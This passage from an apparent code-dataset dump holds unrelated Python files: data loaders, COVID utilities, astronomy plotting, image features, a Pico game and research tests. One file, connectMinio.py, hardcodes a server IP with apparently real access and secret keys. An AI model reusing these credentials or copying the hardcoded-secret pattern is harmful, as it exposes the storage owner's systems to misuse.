img_height))\n x[i] = img\n return x\n\ndef save_predicted_data(predicted_masks,folder):\n length = predicted_masks.shape[0]\n for i in range(length):\n rgb_pred = cv2.cvtColor(predicted_masks[i], cv2.COLOR_GRAY2RGB)\n os.chdir(folder)\n filename = str(i+1) + '.png'\n cv_image = img_as_ubyte(rgb_pred)\n cv2.imwrite(filename, cv_image)\n\n\n\n\n","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"233401826","text":"# Definition for a binary tree node\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n # @param root, a tree node\n # @return nothing, do it in place\n def flatten(self, root):\n if not root:\n return\n\n lst = []\n\n def traversal(node):\n if not node:\n return\n lst.append(node.val)\n traversal(node.left)\n traversal(node.right)\n\n traversal(root)\n root.left = None\n cur = root\n for x in lst[1:]:\n cur.right = TreeNode(x)\n cur = cur.right","sub_path":"Python/Flatten Binary Tree to Linked List.py","file_name":"Flatten Binary Tree to Linked List.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"613427903","text":"from datetime import timedelta, date\nimport datetime as dt\nimport pandas as pd\nimport arrow\nimport re\n\nfrom datetime import datetime\n\ndef get_dtobject (date_str):\n parts = date_str.split('-')\n parts = [int(x) for x in parts]\n return datetime(parts[0], parts[1], parts[2], 0, 0, 0)\n\n\ndef get_date_diff(date1,date2):\n a = arrow.get(date1)\n b = arrow.get(date2)\n delta = (b-a) \n return delta.days\n\n\ndef lockdown_info(lockdown_file, country):\n df = pd.read_csv(lockdown_file)\n P = df['population']\n L = df['lockdown']\n T = df['num_testing']\n\n P.index = df['country'].to_list()\n L.index = df['country'].to_list()\n T.index = df['country'].to_list()\n\n return P[country], L[country], T[country]\n \n\ndef get_population(pop_file, country):\n df_p = pd.read_csv(pop_file)\n P = df_p['pop_2020'].str.replace(\",\",\"\").astype(int)\n P.index = df_p['country'].to_list()\n return P[country]\n\n\ndef get_top_countries(df, count):\n df = country_normalize(df)\n df1 = df.copy()\n df1 = date_normalize (df1)\n df1 = df1.sort_values(by='date')\n last_date = df1.tail(1)['date'].values[0]\n df_top = df1[df1['date'] == last_date]\n df_top = df_top.sort_values(by=['confirmed'],ascending=False)[:count]\n return df_top['country'].to_list()\n\n\ndef country_normalize(df):\n df = df.replace({'United States': 'US'}, regex=True)\n df = df.replace({'United Kingdom': 'UK'}, regex=True)\n df = df.replace({'Korea, South': 'SK'}, regex=True)\n df = df.replace({'Saudi Arabia': 'SaudiArabia'}, regex=True)\n df = df.replace({'United Arab Emirates': 'UAE'}, regex=True)\n df = df.replace({'Dominican Republic': 'DR'}, regex=True)\n df = df.replace({'South Africa': 'SA'}, regex=True)\n df = df.replace({'Czechia': 'Czech'}, regex=True)\n df = df.replace({'Bosnia and Herzegovina': 'BH'}, regex=True)\n df = df.replace({'New Zealand': 'NZ'}, regex=True)\n df = df.replace({'Cote d\\'Ivoire': 'CDI'}, regex=True)\n\n return df \n\n\ndef get_country_data (df, country):\n \n df = country_normalize(df) \n\n df = df.fillna(0)\n df = df[df['country'] == country]\n df = date_normalize (df)\n df = df.sort_values(by='date')\n df = df.loc[:, ~df.columns.str.contains('^Unnamed')]\n df = df.loc[:, ~df.columns.str.contains('country')]\n\n dates = df['date'].to_list()\n dates = [get_dtobject(x) for x in dates]\n\n df.index = dates\n df['date'] = dates \n\n return df \n\n\ndef get_country_data_owid (df, country):\n df = country_normalize(df)\n df = df.fillna(0)\n\n df = df [df['location'] == country]\n df = df[['date','total_cases','total_deaths']].copy()\n df.rename(columns = {'date':'date', 'total_cases':'confirmed','total_deaths':'deaths'}, inplace = True)\n\n df = df.sort_values(by='date')\n df = df.loc[:, ~df.columns.str.contains('^Unnamed')]\n df = df.loc[:, ~df.columns.str.contains('country')]\n df.index = df['date'].to_list()\n\n return df\n\n\ndef get_country_data_kaggle (df, country):\n\n df = df[['Country/Region','ObservationDate','Confirmed','Recovered','Deaths']].copy() \n df = country_normalize(df)\n df = df.fillna(0)\n df = df [df['Country/Region'] == country]\n\n df.rename(columns = {'ObservationDate':'date', 'Confirmed':'confirmed',\\\n 'Recovered':'recovered','Deaths':'deaths'}, inplace = True)\n\n df = df.sort_values(by='date')\n df = df.loc[:, ~df.columns.str.contains('^Unnamed')]\n df = df.loc[:, ~df.columns.str.contains('Country/Region')]\n\n dates = df['date'].to_list()\n new_dates = []\n for d in dates:\n parts = d.split('/') \n dd = parts[2]+\"-\"+parts[0]+\"-\"+parts[1]\n new_dates.append(dd) \n\n df['date'] = new_dates \n\n df.index = new_dates \n\n return df\n\n\ndef date_normalize (df):\n dates = df['date'].to_list()\n dates1 = []\n for d in dates:\n dd = d.split('-')\n dates1.append(dd[2]+\"-\"+dd[0]+\"-\"+dd[1])\n df['date'] = dates1\n return df\n\ndef get_dates (start_date, num_days):\n\n date_time_str = start_date + \" 12:00:00\"\n tmp_date = dt.datetime.strptime(date_time_str, '%Y-%m-%d %H:%M:%S')\n dates = []\n for i in range(0, num_days):\n tmp_date = tmp_date + timedelta(days=1)\n dates.append(str(tmp_date).split(\" \")[0])\n return dates\n\ndef strip_year (dates):\n dates = [re.sub(r'[1-3][0-9]{3}-','',d) for d in dates]\n return dates \n \n","sub_path":"common_utils.py","file_name":"common_utils.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"354481209","text":"from minio import Minio\nfrom checksum import calculate_checksum\nfrom minio.error import ResponseError\nfrom connectCouchdb import connect_couchdb,addFunctionIfNotExist\n\n\ndef connect_minio():\n mc = Minio('52.116.33.131:9000',\n access_key='sanity',\n secret_key='CloudforAll!',\n secure=False)\n\n return mc\n\ndef getObject(mc,fromkafka,bucket):\n\n data = mc.get_object(bucket, fromkafka)\n obj = \"testImg\"\n with open(obj, 'wb') as file_data:\n for d in data.stream(32 * 1024):\n file_data.write(d)\n return obj\n\ndef createBucket(mc,bucket):\n try:\n if not mc.bucket_exists(bucket):\n mc.make_bucket(bucket,location=\"sanity-local\")\n\n except ResponseError as err:\n print(err)\n","sub_path":"sanity/Sprint-5-test/connectMinio.py","file_name":"connectMinio.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"384029106","text":"import sys\nimport socket\nimport select\n\nprint(\"HELLO\")\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.settimeout(2)\ntry :\n\ts.connect((\"0.0.0.0\", 5001))\nexcept :\n\tprint(\"Unable to connect\")\n\tsys.exit()\ns.send(\"test\")\n","sub_path":"systemc-python-communication/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"2997153","text":"import numpy as np\nimport os,glob\nimport scipy.ndimage as sni\nimport sys\nimport re\nimport itertools\nfrom shutil import copytree\nfrom astropy.wcs import WCS\nfrom astropy.io import fits\nfrom astropy.utils.data import get_pkg_data_filename\nimport astropy.units as u\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom astropy.visualization import make_lupton_rgb\nimport aplpy\nfrom astropy.nddata import Cutout2D\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.visualization.wcsaxes import SphericalCircle\nfrom matplotlib.patches import Arrow\nfrom photutils import SkyCircularAnnulus\nfrom photutils import SkyCircularAperture\nfrom photutils import CircularAperture\nfrom photutils import CircularAnnulus\nfrom photutils import SkyEllipticalAperture\nfrom photutils import SkyEllipticalAnnulus\nfrom photutils import EllipticalAperture\nfrom photutils import EllipticalAnnulus\nfrom photutils import aperture_photometry\nimport numpy.ma as ma\nimport math\nimport shutil\nfrom matplotlib import ticker\nfrom regions import read_ds9\nfrom reproject import reproject_interp\n\n############################################################\n# directories and files \n\nDir='/1/home/heh15/workingspace/Arp240/NGC5258/ratio/'\npictureDir=Dir+'picture/'\nscriptDir=Dir+'script/'\nregionDir=Dir+'region/'\n\nimageDir=Dir+'image/ratio/2110/uvtaper_5rms/'\nimage_12CO10='NGC5258_12CO10_combine_uvrange_smooth_regrid21_masked'\nimage_12CO21='NGC5258_12CO21_combine_uvtaper_smooth_masked'\nimage_ratio=imageDir+'NGC5258_2110_ratio_uvtaper_pbcor'\n\n############################################################\n# basic information\ngalaxy='NGC5258'\nratiolabel='2110'\nrationame='12CO 2-1/1-0'\n\ncenter=SkyCoord(dec=0.8319*u.degree,ra=204.9908*u.degree,frame='icrs')\nsize=u.Quantity((54,42),u.arcsec)\n\nstat10={}\nstat21={}\nstat={}\napertures={}\nregions=['center','ring around center','northarm','southarm']\nvalues=['flux','uncertainty']\nvalues2=['flux','uncertainty','peak','mean','median','area']\nratio=['ratio','uncertainty']\ntype=['sky','pix']\nstat10=dict.fromkeys(regions,{})\nstat21=dict.fromkeys(regions,{})\napertures=apertures.fromkeys(regions,{})\nstat=dict.fromkeys(regions,{})\nfor region in regions:\n stat10[region]=dict.fromkeys(values)\n stat21[region]=dict.fromkeys(values2)\n apertures[region]=dict.fromkeys(type)\n stat[region]=dict.fromkeys(ratio)\n\n############################################################\n# basic setting \n\nlabelsize=20\nnbins=5\n\ntestra = 204.99581309\ntestdec = 0.83772222\n\nlinelabel = '$^{12}$CO 2-1'\n\nposter = 'off'\n\n############################################################ \n# function\n\ndef fits_import(fitsimage, item=0):\n hdr = fits.open(fitsimage)[item].header\n wcs = WCS(hdr).celestial\n data=fits.open(fitsimage)[item].data\n data=np.squeeze(data)\n data_masked=np.ma.masked_invalid(data)\n\n return wcs, data_masked\n\n############################################################\n# main program\n\n### Draw different regions. \n\nposition=SkyCoord(dec=0.8309*u.degree,ra=204.9906*u.degree,frame='icrs')\napertures['center']['sky']=SkyCircularAperture(position,r=3*u.arcsec)\napertures['ring around center']['sky']=SkyCircularAnnulus(position,r_in=3*u.arcsec,r_out=7*u.arcsec)\nposition=SkyCoord(dec=0.8340*u.degree,ra=204.9935*u.degree,frame='icrs')\napertures['northarm']['sky']=SkyEllipticalAperture(position,a=13*u.arcsec,b=4*u.arcsec,theta=185*u.degree)\nposition=SkyCoord(dec=0.8283*u.degree,ra=204.9882*u.degree,frame='icrs')\napertures['southarm']['sky']=SkyEllipticalAperture(position,a=9*u.arcsec,b=4*u.arcsec,theta=360*u.degree)\n\n\nfrom regions import read_ds9\nfile=regionDir+'south_SFR.reg'\nsouthsfr_sky=read_ds9(file,errors='warn')[0]\n\nfitsimage=image_ratio+'.fits'\n\n### import the images. \nhdr = fits.open(fitsimage)[0].header\nwcs = WCS(hdr).celestial\ndata=np.squeeze(fits.open(fitsimage)[0].data)\ndata=data*112.73**2/225.46**2\n\nposition=center\nsize=u.Quantity((54,42),u.arcsec)\ncut=Cutout2D(data=data,position=position,size=size,wcs=wcs)\ndata_cut=cut.data\n\nfor key in apertures.keys():\n apertures[key]['pix']=apertures[key]['sky'].to_pixel(wcs=cut.wcs)\nsouthsfr_pix=southsfr_sky.to_pixel(cut.wcs)\n\n\n####################\n# private regions\n\n# mask the data. \ndata_masked=np.ma.masked_invalid(data_cut)\nmask=data_masked.mask\nco10_masked=data_masked\n\n####################\n\n## import the 12CO2-1 moment 0 map.\nco21_dir = Dir+'image/12CO21/'\nfitsimage = co21_dir+'NGC5258_12CO21_combine_pbcor_mom0.fits' \nwcs_co21, data_masked = fits_import(fitsimage)\n\ncontour, footprint = reproject_interp((data_masked, wcs_co21), cut.wcs, shape_out=np.shape(data_cut)) \n\ncolor='maroon'\nfig=plt.figure()\nax=plt.subplot(projection=cut.wcs)\nim=ax.imshow(data_cut,cmap='rainbow',origin='lower',vmin=0.5, vmax=1.0)\nax.tick_params(labelsize=8, direction='in')\nif poster == 'off':\n\tapertures['center']['pix'].plot(color=color, linewidth=2.0)\n\tapertures['ring around center']['pix'].plot(color=color, linewidth=2.0)\n\tapertures['northarm']['pix'].plot(color=color, linewidth=2.0)\n\tapertures['southarm']['pix'].plot(color=color, linewidth=2.0)\nsouthsfr_pix.plot(color=color, linewidth=2.0)\n\nax.contour(contour, levels=[1.1, 2.2], colors='black', linewidths=0.8)\n\nx, y = (cut.wcs).wcs_world2pix(testra, testdec, 1)\nplt.text(x, y, galaxy + ' ' + rationame, fontsize=15)\n\nplt.xlabel('J2000 Right Ascension')\nplt.ylabel('J2000 Declination')\n\nlon = ax.coords[0]\nlat = ax.coords[1]\n# lon.set_ticklabel_visible(False)\n# lat.set_ticklabel_visible(False)\ncax=fig.add_axes()\ncbar=fig.colorbar(im,cax=cax)\n# cbar.set_label('12CO 2-1/1-0 ratio', fontsize=20)\ncbar.ax.tick_params(labelsize=labelsize)\ntick_locator = ticker.MaxNLocator(nbins=nbins)\ncbar.locator = tick_locator\ncbar.update_ticks() \nif poster == 'off':\n\tfig.savefig(pictureDir+galaxy+'_'+ratiolabel+'_ratio_paper_aperture.png', bbox_inches='tight')\nelse:\n\tfig.savefig(pictureDir+galaxy+'_'+ratiolabel+'_ratio_poster_aperture.png', bbox_inches='tight')\n\n","sub_path":"NGC5258/ratio/script/color_ratio_2110_v2.py","file_name":"color_ratio_2110_v2.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"480554240","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 4 00:27:48 2019\n\n@author: Usuario\n\"\"\"\nimport sys\nsys.path.insert(1,'C:/Users/Nataly/Documents/Trabajo-de-grado_Artefactos/CutRE')\n\nimport cv2\nimport pylab as plt \nfrom matplotlib import pyplot as plt\nimport numpy as np \nimport glob \nimport pandas as pd\nfrom scipy import stats\n#from colour import Color\nfrom Normalizacion import normalizacionMaxMin\nfrom equalization import adaptativeequalization\nfrom skimage.feature import greycomatrix, greycoprops\nimport skimage.feature\n\nbrillomoda = []\nbrillomedia = []\nluminanceMedia = []\nentropia=[]\nmediahist=[]\nmedianahist=[]\nasimetriahist=[]\ncurtosishist=[]\npuntoderivada=[]\nmasximaintensidaddes200=[]\nl2=[]\ndesviacionhist=[]\nvarianzahist=[]\nmodeL=[]\nvalorintensidad=[]\nvalorpico=[]\nfrom numpy.linalg import norm\nfrom scipy.stats import kurtosis\nfrom numpy import linalg as LA\nfrom scipy.stats import skew\n\ndef find_nearest(array,value): \n idx = (np.abs(array-value)).argmin()\n return array[idx]\n\nfor image in glob.glob('*.jpg'):\n #image = 'bboxreflejo (7).jpg'\n #image = '0288-0000583.jpg'\n im = cv2.imread(image)\n imNorm = normalizacionMaxMin(im)\n imEqu = adaptativeequalization(imNorm)\n R,G,B=cv2.split(imEqu)\n width,heigth,ch=imEqu.shape\n \n brillo=np.sqrt(0.241*R**2+0.691*G**2+0.068*B**2)/(width*heigth)\n brillomedia.append(np.mean(brillo))\n brillomoda.append(stats.mode(brillo))\n \n luminance = (0.2126*imEqu[0]+0.7152*imEqu[1]+0.0722*imEqu[2])\n modeL.append(stats.mode(luminance))\n luminanceMedia.append(np.mean(luminance))\n \n entropia.append(skimage.measure.shannon_entropy(imEqu)) \n \n hist = cv2.calcHist([G],[0],None,[256],[200,255])\n hisa=hist.copy()\n hist=np.asarray(hist).astype(np.int)\n zz=list(range(0,len(hist)))\n for ii in range(len(hist)):\n zz[ii]=int(hist[ii])\n gradiente=np.gradient(zz[:]) \n uu=find_nearest(gradiente,0)\n gradiente=gradiente.tolist()\n umbral1 = gradiente.index(uu)\n umbral=umbral1\n masximaintensidaddes200.append(umbral)\n puntoderivada.append(uu)\n asimetriahist.append(skew(hisa))\n curtosishist.append(kurtosis(hisa))\n mediahist.append(np.mean(hisa))\n medianahist.append(np.median(hisa))\n desviacionhist.append(np.std(hisa))\n varianzahist.append(np.var(hisa))\n l2.append(LA.norm(hisa))\n histo=hisa.tolist() \n uHOUR=np.max(histo)\n hi=histo.index(uHOUR)\n valorintensidad.append(hi)\n valorpico.append(hisa[hi])\ndatos = {'Brillo':brillomedia,\n 'Luminancia': luminanceMedia,\n 'entropia':entropia,\n 'Media':mediahist,\n 'Mediana':medianahist,\n 'Asimetria':asimetriahist,\n 'Curtosis':curtosishist,\n 'Cambio_Derivada':puntoderivada,\n 'Max intensidad pos':masximaintensidaddes200,\n 'L2':l2,\n 'Desviación':desviacionhist,\n 'Varianza':varianzahist,\n 'Valor Intensidad max':valorintensidad,\n 'Valor pico int':valorpico}\n\ndatos = pd.DataFrame(datos)\ndatos.to_excel('Características_RE.xlsx')\n","sub_path":"balanceoRE/bbox/RE/brilloCaracteRE.py","file_name":"brilloCaracteRE.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"294404126","text":"# Create helper function\ndef create_adjacency_list(input_list):\n # create an empty set to store the adjacency list\n adjacency_list = {}\n # create a for loop to go through array of tuples to transform it into an adjacency list\n for tuple in input_list:\n if tuple[1] not in adjacency_list:\n adjacency_list[tuple[1]] = [tuple[0]]\n elif tuple[1] in adjacency_list:\n adjacency_list[tuple[1]].append(tuple[0])\n return adjacency_list\n\ndef earliest_ancestor(ancestors, starting_node):\n # Use helper function to convert test_ancestors to an adjacency list\n adjacency_list = create_adjacency_list(ancestors)\n # Write a DFS:\n visited = set()\n stack = []\n stack.append([starting_node])\n possible_paths = []\n while len(stack):\n path = stack.pop()\n node = path[-1]\n if node not in visited:\n visited.add(node)\n if node in adjacency_list.keys():\n # if the key has multiple values, iterate over the keys\n for neighbor in adjacency_list[node]:\n # if neighbor is none then pass, because we don't want to risk getting it inside the possible path array\n if neighbor == None:\n pass\n # else keep going normally\n else:\n # copy the path\n path_copy = path.copy()\n # append neighbor to the back of the copy\n path_copy.append(neighbor)\n # push copy to stack\n stack.append(path_copy)\n # else append path to possible_paths\n else:\n possible_paths.append(path)\n\n correct_path = possible_paths[0]\n for possible_path in possible_paths:\n if len(possible_path) > len(correct_path):\n correct_path = possible_path\n if len(possible_path) == len(correct_path) and possible_path[-1] < correct_path[-1]:\n correct_path = possible_path\n\n # return the path with the lowest initial value\n if len(correct_path) > 1:\n correct_path = correct_path[-1]\n if type(correct_path) is list:\n correct_path = correct_path[0]\n if correct_path == starting_node:\n correct_path = -1\n return correct_path\n","sub_path":"projects/ancestor/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"417641882","text":"#!/usr/bin/env python2\nimport os\nimport sys\nimport math\nimport shutil\nimport unittest\n# import time\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../\"))\n\nimport playground.benchmark.analyzer as analyzer\nfrom playground.benchmark.symreg_benchmark import gp_benchmark_loop\nfrom playground.parameter_setter.tuner import brute_parameter_sweep\n\n# SETTINGS\ncwd = os.path.dirname(__file__)\nlog_file = os.path.normpath(os.path.join(cwd, \"../data/test.log\"))\ndata_file = \"../data/bps--arabas_et_al-f1--100_0.05_0.05-0.zip\"\ndata_file = os.path.join(cwd, data_file)\ndata_file = os.path.normpath(data_file)\n\ndata_file_2 = \"$HOME/data/seed_0/bps--arabas_et_al-f1--800_0.8_0.8.zip\"\n\n\nclass AnalzyerTests(unittest.TestCase):\n def setUp(self):\n config = {\n \"call_path\": os.path.dirname(os.path.realpath(sys.argv[0])),\n \"max_population\": None,\n \"max_generation\": 100,\n\n \"tree_generation\": {\n \"method\": \"RAMPED_HALF_AND_HALF_METHOD\",\n \"depth_ranges\": [\n {\"size\": 2, \"percentage\": 1.0},\n ]\n },\n\n \"evaluator\": {\"use_cache\": True},\n\n \"selection\": {\"method\": \"ELITEST_SELECTION\"},\n\n \"crossover\": {\n \"method\": \"POINT_CROSSOVER\",\n \"probability\": None\n },\n\n \"mutation\": {\n \"methods\": [\n \"SUBTREE_MUTATION\",\n \"SHRINK_MUTATION\"\n ],\n \"probability\": None\n },\n\n \"function_nodes\": [\n {\"type\": \"FUNCTION\", \"name\": \"ADD\", \"arity\": 2},\n {\"type\": \"FUNCTION\", \"name\": \"SUB\", \"arity\": 2},\n {\"type\": \"FUNCTION\", \"name\": \"MUL\", \"arity\": 2},\n {\"type\": \"FUNCTION\", \"name\": \"DIV\", \"arity\": 2},\n {\"type\": \"FUNCTION\", \"name\": \"COS\", \"arity\": 1},\n {\"type\": \"FUNCTION\", \"name\": \"SIN\", \"arity\": 1}\n ],\n\n \"terminal_nodes\": [\n {\"type\": \"CONSTANT\", \"value\": 0.0},\n {\"type\": \"CONSTANT\", \"value\": 1.0},\n {\"type\": \"CONSTANT\", \"value\": 2.0},\n {\"type\": \"CONSTANT\", \"value\": 2.0},\n {\"type\": \"CONSTANT\", \"value\": 3.0},\n {\"type\": \"CONSTANT\", \"value\": 4.0},\n {\"type\": \"CONSTANT\", \"value\": 5.0},\n {\"type\": \"CONSTANT\", \"value\": 6.0},\n {\"type\": \"CONSTANT\", \"value\": 7.0},\n {\"type\": \"CONSTANT\", \"value\": 8.0},\n {\"type\": \"CONSTANT\", \"value\": 9.0},\n {\"type\": \"CONSTANT\", \"value\": 10.0},\n {\"type\": \"CONSTANT\", \"value\": math.pi}\n ],\n \"data_file\": None,\n\n \"input_variables\": [{\"type\": \"INPUT\", \"name\": \"var1\"}],\n \"response_variables\": [{\"name\": \"answer\"}],\n\n \"recorder\": {\n \"store_file\": None,\n \"record_level\": \"MAX\",\n \"compress\": True\n }\n\n }\n\n test_parameters = {\n \"play_config\": config,\n \"random_seeds\": range(1),\n \"iterations\": 1,\n \"processes\": 1,\n\n \"population_size\": {\"range\": [100]},\n \"crossover_probability\": {\"range\": [0.80]},\n \"mutation_probability\": {\"range\": [0.80, 0.70]},\n\n \"training_data\": [\"../data/arabas_et_al-f1.dat\"],\n\n \"record_dir\": \"./analyzer_test_data\",\n \"log_path\": \"./analyzer_test_data/benchmark.log\"\n }\n functions = {\n \"ADD\": \"+\",\n \"SUB\": \"-\",\n \"MUL\": \"*\",\n \"DIV\": \"/\",\n \"POW\": \"**\",\n \"SIN\": \"math.sin\",\n \"COS\": \"math.cos\",\n \"RAD\": \"math.radians\",\n \"LN\": \"math.ln\",\n \"LOG\": \"math.log\"\n }\n brute_parameter_sweep(test_parameters, functions, gp_benchmark_loop)\n\n def tearDown(self):\n if os.path.isdir(\"./analyzer_test_data\"):\n shutil.rmtree(\"./analyzer_test_data\")\n\n def test_parse_datafile(self):\n # pass test\n result = analyzer.parse_data(data_file)\n solution = {\n \"population\": {\n \"generation\": 0,\n \"best_individual\": \"(COS((var1 MUL 0.0)))\",\n \"best_score\": 133.6826393201821\n }\n }\n self.assertEquals(result[0][\"population\"], solution[\"population\"])\n\n # exception test\n self.assertRaises(IOError, analyzer.parse_data, log_file)\n\n def test_summarize_data_min_level(self):\n # pass test\n result = analyzer.summarize_data(data_file)\n\n # import pprint\n # pprint.pprint(result)\n\n self.assertIsNotNone(result)\n self.assertTrue(len(result[\"population\"][\"generation\"]), 11)\n self.assertTrue(len(result[\"population\"][\"best_score\"]), 11)\n self.assertTrue(len(result[\"population\"][\"best_individual\"]), 11)\n\n self.assertTrue(len(result[\"crossover\"][\"crossovers\"]), 11)\n self.assertTrue(len(result[\"crossover\"][\"no_crossovers\"]), 11)\n\n self.assertTrue(len(result[\"mutation\"][\"mutations\"]), 11)\n self.assertTrue(len(result[\"mutation\"][\"no_mutations\"]), 11)\n\n def test_summarize_data_max_level(self):\n # test data\n test_dir = \"./analyzer_test_data/arabas_et_al-f1/seed_0/pop_100/\"\n test_data = \"0.8-0.8.zip\"\n test_fp = os.path.join(test_dir, test_data)\n test_fp = os.path.normpath(test_fp)\n\n # summarize data\n result = analyzer.summarize_data(test_fp)\n\n # import pprint\n # pprint.pprint(result)\n\n # self.assertIsNotNone(result)\n self.assertTrue(len(result[\"population\"][\"generation\"]), 14)\n self.assertTrue(len(result[\"population\"][\"best_score\"]), 14)\n self.assertTrue(len(result[\"population\"][\"best_individual\"]), 14)\n\n self.assertTrue(len(result[\"crossover\"][\"crossovers\"]), 14)\n self.assertTrue(len(result[\"crossover\"][\"no_crossovers\"]), 14)\n\n self.assertTrue(len(result[\"mutation\"][\"mutations\"]), 14)\n self.assertTrue(len(result[\"mutation\"][\"no_mutations\"]), 14)\n\n def test_plot_summary(self):\n # tes data\n test_dir = \"./analyzer_test_data/arabas_et_al-f1/seed_0/pop_100/\"\n test_data_1 = \"0.8-0.8.zip\"\n test_1_fp = os.path.join(test_dir, test_data_1)\n\n test_data_2 = \"0.8-0.7.zip\"\n test_2_fp = os.path.join(test_dir, test_data_2)\n\n # summarize data\n test_data_1 = analyzer.summarize_data(test_1_fp)\n test_data_2 = analyzer.summarize_data(test_2_fp)\n data = [test_data_1, test_data_2]\n labels = [\n \"c_prob = 0.8, mut_prob = 0.8\",\n \"c_prob = 0.8, mut_prob = 0.7\"\n ]\n analyzer.plot_summary(data, labels)\n\n\nif __name__ == \"__main__\":\n # data_file = \"/tmp/ea_stats.dat\"\n # data = analyzer.summarize_data(data_file)\n # analyzer.plot_summary([data], [\"\"])\n unittest.main()\n","sub_path":"tests/benchmark/analyzer_tests.py","file_name":"analyzer_tests.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"112771923","text":"import picoexplorer as display\nimport utime\n\nSHOT_WIDTH = 2\nSHOT_HEIGHT = 20\n\nALIEN_WIDTH = 10\nALIEN_HEIGHT = 5\n\nRELOAD_TIME_MS = 500\n\nWIDTH = display.get_width()\nHEIGHT = display.get_height()\ndisplay_buffer = bytearray(WIDTH * HEIGHT * 2)\ndisplay.init(display_buffer)\n\ndisplay.set_pen(0,0,0)\ndisplay.clear()\ndisplay.set_pen(255, 0, 0)\ndisplay.text(\"Space Invaders\", 0, 0, 0, 4)\ndisplay.update()\nutime.sleep(1)\n\njoystick = [machine.ADC(0), machine.ADC(1)]\nprint(\"Width: {}, Height: {}\".format(WIDTH, HEIGHT))\n\n# store list of bullets from player going upwards\n# each bullet is a list of [x, y]\nshots = []\nlast_fired = 0\n\n# store list of aliens invading the screen\n# each alien is a list of [x, y, direction]\naliens = []\n\nfor i in range(10):\n aliens.append([i * 20, 0, 1])\n\n\nwhile len(aliens) > 0:\n # read coordinates from joystick\n x = int(joystick[1].read_u16() / 65536 * WIDTH)\n y = int(joystick[0].read_u16() / 65536 * 8)\n print(x, y)\n \n # pull joystick down to shoot\n if y < 2 and last_fired + RELOAD_TIME_MS < utime.ticks_ms():\n shots.append([x, HEIGHT])\n last_fired = utime.ticks_ms()\n print(\"Fire\", shots)\n \n # clear screen\n display.set_pen(0,0,0)\n display.clear()\n \n # draw all aliens\n display.set_pen(0,255,0)\n for alien in aliens:\n # move right\n if alien[2] == 1:\n if alien[0] < WIDTH:\n alien[0] += 1\n else:\n alien[1] += 10\n alien[2] = 0\n # move left\n else:\n if alien[0] > 0:\n alien[0] -= 1\n else:\n alien[1] += 10\n alien[2] = 1\n \n display.rectangle(alien[0], alien[1], ALIEN_WIDTH, ALIEN_HEIGHT)\n \n # check if hit\n for s in shots:\n if s[0] > alien[0] and s[0] - SHOT_WIDTH < alien[0] + ALIEN_WIDTH:\n if s[1] > alien[1] and s[1] - SHOT_HEIGHT < alien[1] + ALIEN_HEIGHT:\n try:\n aliens.remove(alien)\n except:\n pass\n \n # draw all shots\n display.set_pen(255,0,0)\n for s in shots:\n s[1] -= 2\n if s[1] > 0:\n display.rectangle(s[0], s[1], SHOT_WIDTH, SHOT_HEIGHT)\n else:\n shots.remove(s)\n \n # draw player\n display.set_pen(0,0,255)\n display.rectangle(x, HEIGHT - 10, 10, 10)\n \n # update screen\n display.update()\n\n# all aliens destroyed! Show winning message\ndisplay.set_pen(0,0,0)\ndisplay.clear()\ndisplay.set_pen(255,255,255)\ndisplay.text(\"You win!\", 0, 0, 0, 4)\ndisplay.update()","sub_path":"games/invaders.py","file_name":"invaders.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"612577227","text":"from unittest import TestCase\nimport numpy as np\nimport pandas as pd\nimport os\ntest_data_folder = os.path.join(os.path.dirname(__file__), 'test_data/')\n# print(test_data_folder)\n# test_data_folder = './test_data/'\n#### data archives\n######## ARM\nfrom atmPy.data_archives.arm import _read_data\nimport atmPy\nfrom atmPy.aerosols import size_distribution\nfrom atmPy.data_archives import arm\nfrom atmPy.aerosols.physics import hygroscopicity as hyg\nfrom atmPy.general import vertical_profile\n\nclass ArmDataTests(TestCase):\n def test_1twr10xC1(self):\n out = _read_data.read_cdf(test_data_folder, data_product='1twr10xC1')\n out = out['1twr10xC1']\n\n # rh\n soll = pd.read_csv(test_data_folder + '1twr10xC1_rh.csv', index_col=0,\n dtype={'rh_25m': np.float32, 'rh_60m': np.float32}\n )\n\n ## index\n self.assertLess(abs((out.relative_humidity.data.index.values - pd.to_datetime(soll.index).values).sum() / np.timedelta64(1, 's')), 1e-10)\n # self.assertTrue(np.all(out.relative_humidity.data.index.values == pd.to_datetime(soll.index).values))\n\n ## rest\n soll.columns.name = out.relative_humidity.data.columns.name\n # self.assertTrue(np.all(out.relative_humidity.data.values == soll.values))\n self.assertLess(abs((out.relative_humidity.data.values - soll.values).sum()), 1e-2)\n # temp\n soll = pd.read_csv(test_data_folder + '1twr10xC1_temp.csv', index_col=0,\n dtype={'temp_25m': np.float32, 'temp_60m': np.float32}\n )\n 